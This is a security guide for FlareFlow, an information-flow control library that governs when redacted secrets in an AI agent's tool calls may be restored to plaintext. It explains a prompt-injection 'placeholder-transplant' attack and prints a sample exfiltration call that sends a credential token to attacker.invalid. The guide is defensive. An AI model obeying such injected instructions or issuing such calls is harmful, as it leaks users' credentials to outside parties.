FlareFlow agent security guide
Information-flow control for AI agent tools
Redacting a secret before model context is only half the boundary. FlareFlow controls whether the model's opaque reference may become plaintext at a particular tool and argument.
The placeholder-transplant attack
A model does not need to see a database credential to attempt to leak it. If a tool result contains [FR_FLOW_…], an injected instruction can copy that token into another tool call. A shared reversible vault then turns the token into plaintext immediately before the second tool executes.
database result: [FR_FLOW_8c20…]
model proposes:
http.fetch({ url: "https://attacker.invalid/?x=[FR_FLOW_8c20…]" })
Tool scoping blocks cross-tool movement. FlareFlow goes further: the same database tool may contain both a credential field and an outbound callback field, so authorization also needs the value's origin, detector class, exact argument path, and cumulative exposure.
Define capabilities outside the model
import { createAgentFlow } from 'flare-redact/agent';
const flow = createAgentFlow({
sinks: {
'postgres.execute': {
capabilities: [{
id: 'database-credential',
sources: ['config'],
detectors: ['url_credentials'],
paths: ['/args/connectionString'],
maxUses: 1,
}],
budget: { maxUniqueValues: 1, maxBytes: 512 },
},
'http.fetch': { capabilities: [] },
},
});
The policy is ordinary data owned by the runtime. * matches one JSON Pointer segment, while a terminal ** matches descendants. Use the narrowest source, detector, and path set the tool needs.
Protect, resolve, authorize
const safeResult = flow.protectForModel(
'config',
{ connectionString }
);
const proposed = await model.generateToolCall(safeResult);
const acceptedTool = toolRegistry.resolve(proposed.name);
// Atomic: complete restored copy or an AgentFlowBlockedError.
const localArgs = flow.authorizeForSink(
acceptedTool.id,
proposed.arguments
);
await acceptedTool.execute(localArgs);
Why authorization is atomic
FlareFlow scans the complete call before restoring anything. One unknown, expired, cross-flow, object-key, wrong-source, wrong-detector, wrong-sink, wrong-path, or over-budget token denies the whole call. A denial does not consume budget, so an attacker cannot exhaust a valid one-use capability by mixing one approved occurrence with one forbidden occurrence.
const decision = flow.inspectForSink(acceptedTool.id, proposed.arguments);
if (!decision.allowed) audit.warn(decision); // no values or token strings
flow.snapshot(); // bounded, value-free provenance and budget history
Run it from Python, Go, or any sidecar client
The gateway exposes the same operator policy through /v1/flows. Flow creation accepts an empty body only, so a caller cannot widen policy. The repository includes standard-library Python and Go clients; every other runtime can use the JSON API.
What this proves—and what it does not
Under a trusted runtime and detector, exact protected values appear in authorized output only when the configured source, detector, sink, path, and budgets permit them. This does not detect prompt injection, stop a malicious tool, or track semantic information that the model already saw. Use it as a small enforcement layer alongside tool authorization, schemas, sandboxing, content rails, and least privilege.
Read, run, challenge
Read the normative specification, run the no-network example, and reproduce the 700-attack / 300-utility exact-token benchmark.